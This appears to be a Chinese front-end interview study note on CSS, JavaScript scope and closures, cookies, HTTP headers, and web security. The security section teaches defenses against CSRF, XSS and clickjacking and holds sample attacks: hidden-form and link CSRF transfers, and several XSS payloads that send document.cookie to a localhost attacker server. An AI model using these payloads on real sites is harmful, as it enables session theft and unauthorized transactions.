CSS样式
1.min-height
当不知道元素的高度的时候,可以设置min-height。这样子内容超出min-height的时候,元素会被内容撑开。
<!DOCTYPE html>
<html lang="en">
<head>
<style>
div {
border: 1px solid black;
margin: 10px 0;
width: 100px;
overflow: hidden;
}
.div1 {
min-height: 100px;
}
.div2 {
height: 100px;
}
</style>
</head>
<body>
<div class="div1">
content content content content content content content content content
</div>
<div class="div2">
content content content content content content content content content
</div>
</body>
</html>
2. 直角梯形
利用伪类进行CSS构建的直角梯形,然后这样子内容的尺寸以及边框的尺寸都是可控的。
<html>
<style>
.outer {
width: 200px;
height: 350px;
overflow: hidden;
border: 1px solid black;
border-radius: 10px;
}
#oricl1 {
width: 100px;
position: relative;
text-align: center;
}
#oricl1::after {
z-index: -1;
content: "";
position: absolute;
top: 0;
left: 0;
border-top: 30px solid orange;
border-right: 20px solid transparent;
height: 0;
width: 100px;
}
</style>
</head>
<body>
<div class="outer">
<div id="oricl1">content</div>
</div>
</body>
</html>
3.外边距重叠
外边距重叠只会发生在块级元素上,比如<div>,<p>,不会发生在脱离文档流的文档上,比如在float:left;和position上不会发生.
<!DOCTYPE html>
<html lang="en">
<head>
<style>
.box {
width: 600px;
height: 100px;
line-height: 50px;
text-align: center;
color: #333;
}
.box1 {
background-color: #f60;
margin-bottom: 100px;
}
.box2 {
/* 第一种方式是给第二个元素设置浮动 */
/* float: left; */
/* 第二种方式是个给第二个元素设置position属性为absolute */
position: absolute;
background-color: #a90;
margin-top: 100px;
}
</style>
</head>
<body>
<div class="box box1">box1</div>
<div class="box box2">box2</div>
</body>
</html>
JavaScript
1.关于query的查询
function getQuery(paramName) {
// 获取URL中附带的query
const search = location.search;
// 创建一个URLsearch实例
const p = new URLSearchParams(search);
for (const [key, value] of p) {
console.log(key, value);
}
return {
[paramName]: p.get(paramName),
};
}
console.log(getQuery("id"));
2. 微任务宏任务
-
宏任务
setTimeoutsetIntervalI/O页面渲染(解析 DOM, 计算布局以及绘制)用户的交互 (点击, 拖动, 触摸,放大缩小)
-
微任务
Promise.then catch finallyMutationObserver
执行顺序:从任务队列中依次执行任务,执行完所有的微任务之后才去执行宏任务。
3. js语言的特点
-
动态类型语言
静态类型语言是指:在编程中就要确定好变量的类型,如C,java,而JavaScript等动态类型语言,在运行的时候才会知道其变量的类型。比如JavaScript的var声明的变量
-
解释型语言,脚本语言
由编译器编译之后,直接可以运行;不像c/c++,编译成本地可以运行的程序才可以进行执行
c/c++ : 源代码->抽象语法树->中间表示->本地代码 JavaScript:源代码->抽象语法树->解释器解释执行 -
运行在客户端浏览器上
-
与操作系统无关,跨平台的语言
-
不用预编译,直接解析执行
4. 什么是作用域,作用域链?
作用域:运行代码中一些变量、函数、对象的可访问性
作用域链:当访问一个变量时,解释器会在当前作用域进行查找,如果没找到,则去副作用域进行查找,直到找到该变量为止或没找到.这条寻找的链路就叫做作用域链.
作用域的划分:
块级作用域:块级作用域在以下情况被创建:在一个函数内部,或者是在一对花括号内部.变量基本上通过let、const创建.
函数作用域:函数内声明的变量、函数和对象
全局作用域: 在代码中任何地方都能访问到的对象.
5. 什么是闭包?闭包是如何产生的?闭包的使用场景?
JavaScript中,根据词法作用域的规则,函数内部总是可以访问到函数外部的变量.当调用一个函数,该函数返回一个内部函数时,并且该内部函数引用外部函数的变量时,我们称这些变量的集合为闭包.
function foo(){
const a = 'test'
function bar(){
console.log(a);
}
return bar;
}
const newBar = foo()
newBar()
比如函数bar内部访问到了外部函数foo的变量a,调用外部函数foo的时候,以一个内部函数的形式进行的返回,此时就形成了闭包.
如何形成: 当函数内部存在对其他词法作用域的调用,并且该函数被拿到当前词法作用域外执行,就形成了闭包.
在哪些地方使用了闭包?
定时器、事件监听器、ajax请求,只要使用了回调函数,实际上就是使用了闭包
为什么使用闭包?闭包有什么好处?
- 保护函数的私有变量不受外部的干扰
- 把一些函数内的值保存下来,实现方法和属性的私有化
闭包的变量事如何回收的?
-
如果全局变量被作为闭包变量的话,则该闭包变量会一直保存到页面关闭.(全局上下文一直存在,所以不会被回收)
-
对于局部变量作为闭包变量的话:
function foo() {
let a = 10;
return function () {
a++;
console.log(a);
};
}
foo()(); // 11
foo()(); // 11
const result = foo();
result(); //11
result(); //12;
对于foo()()这种调用方法来说,调用完成之后,没有对foo函数的引用,所以调用完成之后便对变量a进行了回收,而对于result = foo()这种方法,是将返回的函数赋值给了result,当调用完成之后,result没有被回收,再次调用
则会返回内存中的a+1的结果.
其他
1. cookie的各种属性
由于HTTP是无状态的,为了追踪用户,引入cookie;由于每次的HTTP请求都会自动携带cookie,这样服务端就可以知道请求是来哪里的.
Key,value:
cookie的本质就是一个键值对.key是属性名,value是属性值.
Domain:
Domain表示cookie的作用域,如果未设置默认为:'/';如果是二级或者三级域名,domain可以设置为顶级域名,二级或者三级本身,如果是顶级域名,那么domain就必须要设置为顶级域名
cookie的作用域与端口号和协议无关.
Path:
指定可以共享Cookie的子目录
Expires/Max-Age
cookie的过期时间,如果没有设置,那么就是session,当会话关闭之后,cookie就会消失.
Expires是设置具体的过期时间
res.setHeader('Set-Cookie', [ `name=chang; expires=${new Date(Date.now() + 10 * 1000).toGMTString()}`, ])
Max-Age是设置多少秒之后过期.
如果 Max-Age 和 Expires 同时存在,那么 Max-Age 优先级更高
HttpOnly
设置了HttpOnly的cookie不会被JavaScript获取到
Secure
cookie的安全属性,只有使用了SSL和HTTPS协议才会携带cookie.
SameSite
该属性用于限制第三方 Cookie 的发送场景
-
Strict:完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。
-
Lax:默认值。除了下面三种情况外,不发送第三方 Cookie
- 链接:
<a href="..."></a> - 预加载请求:
<link rel="prerender" href="..."/> - GET 表单:
<form method="GET" action="...">
- 链接:
-
None:跨站都发送 Cookie
2. 移动端如何做适配?
-
媒体查询
根据不同的屏幕引用不同的样式
<link rel="stylesheet" media="(max-width: 500px)" href="mobile.css" /> <link rel="stylesheet" media="(min-width: 980px)" href="pc.css" /> -
固定 Viewport 宽度方案
-
vw,vh
-
rem: 页面元素根据屏幕的变化进行缩放
3. 常见的HTTP请求头
Accept: 用户代理期望的MIME类型列表(互联网中的内容类型)
Accept-Encoding: 列出用户代理支持的压缩方法
Accept-Language: 用户代理期望的语言类型
Authorization: 用于超文本传输协议认证的认证信息
Cache-Control: 用来指定在这次请求中所有的缓存机制
max-age=<seconds>:设置缓存存储的最大周期,超过这个时间缓存被认为过期(单位秒)。与Expires相反,时间是相对于请求的时间
Connection: 该浏览器想要优先使用的连接类型(keep-alive,close);当前事务完成后是否关闭网络连接。
Cookie: 浏览器cookie
Content-Type: 请求体的类型
application/x-www-form-urlencoded:数据被编码为名称/值对。这是标准的编码格式。
multipart/form-data: 数据被编码为一条消息,页上的每个控件对应消息中的一个部分。
text/plain: 数据以纯文本形式(text/json/xml/html)进行编码,其中不含任何控件或格式字符。postman软件里标的是RAW。
Host: 服务器的域名,以及服务器所监听的端口号
User-Agent: 浏览器自身的标识符
Origin: 指出跨域资源请求的来源
Expires: 资源缓存过期时间(绝对时间)
4. 常见的HTTP响应头
Access-Control-Allow-Origin: 允许跨域资源请求的来源
Access-Control-Allow-Methods: 允许哪些方法可以请求
Access-Control-Allow-Credentials: 是否允许携带cookie
Content-Type: 告诉客户端资源的类型
Server: 服务端的信息
网络安全相关
1. CSRF攻击
CSRF 跨站请求伪造
攻击原理
- 受害者登录目标网站,网站记录用户的登录状态
- 攻击者诱导受害者进入第三方网站,使受害者进行对目标网站的跨站请求
- 由于用户已经登陆,所以跨站请求会成功
** GET型攻击案例**
- get型CSRF可以通过超链接进行模拟get请求,来模拟接口的请求.
<a href="http://localhost:3000/transfer?to=hacker&money=100">点击下载</a>
GET防御方法
- GET请求一般用来进行查询,GET请求类型的接口一般别对数据库进行操作.
- 设置 Referer 白名单: 跨站发送的请求在Header内会携带Referer头部,服务器设置一个白名单,拒绝非白名单的跨站请求.但是,前端可以绕过Referer的.
<a href="http://localhost:3000/transfer?to=hacker&money=100" rel="noreferrer">点击下载</a>
POST型攻击案例
- POST 型CSRF可以通过一个隐藏的表单来进行接口的模拟
<form id="form" method="POST" enctype="application/x-www-form-urlencoded" action="http://localhost:3000/transfer" style="display: none">
<input type="text" name="to" value="hacker" />
<input type="number" name="money" value="100" />
</form>
防御方法
- CORS白名单:在服务器端指定允许的域名可以进行资源访问.
- 自定义Header头部
- 设置Token,前端登录之后获取Token,用户发送请求携带Token,Token在后端进行解析.
2. XSS攻击
XSS 跨站脚本攻击
原理:
由于Web程序对用户的输入过滤不足,导致攻击者可以输入恶意脚本代码注入到网站中,当其他用户在进行浏览的时候就会执行其恶意代码,对受害者进行恶意的攻击.
XSS攻击一般分为三种:
- 反射型
- 存储型
- DOM型
反射型XSS攻击
该恶意脚本并没有存储到数据库内.而是诱导用户点击一个拼接好的攻击链接,从而达到攻击受害者的目的.
http://localhost:3000/movies?q=功夫熊猫<script>fetch(`http://localhost:4000/cookies?cookie=${document.cookie}`)</script>
可以看到,发送这个请求的时候,就将用户的cookie发送到了攻击者的服务器上
防御方案:
造成反射性XSS攻击的原因就是因为服务器端没有进行过滤,所以解决办法可以直接用
encodeURIComponent对查询参数进行过滤,或者是替换掉<,>等特殊符号.
如果后端登录验证是基于cookie的话,可以设置cookie的属性HttpOnly=true,这样就不能通过JavaScript来获取cookie了.
存储型XSS攻击
比如一条评论
文章写的真棒!<script>fetch(`http://localhost:4000/cookies?cookie=${document.cookie}`)</script>
攻击者利用xss注入script,可以为所欲为
防御方案
- 客户端提交前进行校验过滤,如果包含恶意脚本则不提交,或者提交转义后的字符串
- 服务端接收后先校验过滤,如果包含恶意脚本则不存储到数据库,或者存储转义后的字符串
- 客户端渲染时候进行过滤,即使数据库中存储了未经转义的恶意脚本,输出转义后的字符串
DOM型XSS攻击
<input id="input" type="text" />
<button onclick="container.innerHTML = input.value">点击</button>
<p id="container"></p>
在输入框内输入
<img src="x" onerror="fetch(`http://localhost:4000/cookies?cookie=${document.cookie}`)">的时候,就会暴露自己的 cookie信息.
总结
反射型 XSS 攻击的手段就是诱导用户点击,这种攻击是一次性的,用户点击就中招,不点就没事,危害性不如存储型的大,但是小白用户很容易被盗号。
存储型 XSS 攻击范围广,受害面积大,且不容易及时发现和排查,一定要多加小心,对于用户输入的任何内容都不要完全信任,对于动态渲染的文本一定要进行转义。
DOM 型 XSS 攻击随着单页面应用普及和流行愈发常见,因为在单页面应用中 JS 经常操作 DOM,而 DOM 型 XSS 攻击就是利用了浏览器解析机制,因此很容易触发 DOM 型 XSS 攻击。不过好在大部分前端框架,例如 Vue、Angular 都内置 DOM 型 XSS 攻击的防御机制。
3. 点击劫持
恶意网站使用<iframe>将用户的一些重要信息嵌入进去,然后将iframe设置透明.这样我们在进行操作的时候就不知不觉的收到了攻击.
防范方法
- 使用JS代码进行判断 判断顶层视口的域名是不是和本页面的域名一致,如果不一致就让恶意网页自动跳转到我方的网页。当然你还可以恶心一下这些恶意网站,比如说弹窗十几次,或者跳转到某些404页面。
if (top.location.hostname !== self.location.hostname) {
alert("您正在访问不安全的页面,即将跳转到安全页面!");
top.location.href = self.location.href;
}
- 使用 HTTP 头防范
通过配置 nginx 发送 X-Frame-Options 响应头,这样浏览器就会阻止嵌入网页的渲染。更详细的可以查阅MDN上关于X-Frame-Options 响应头的内容。
add_header X-Frame-Options SAMEORIGIN;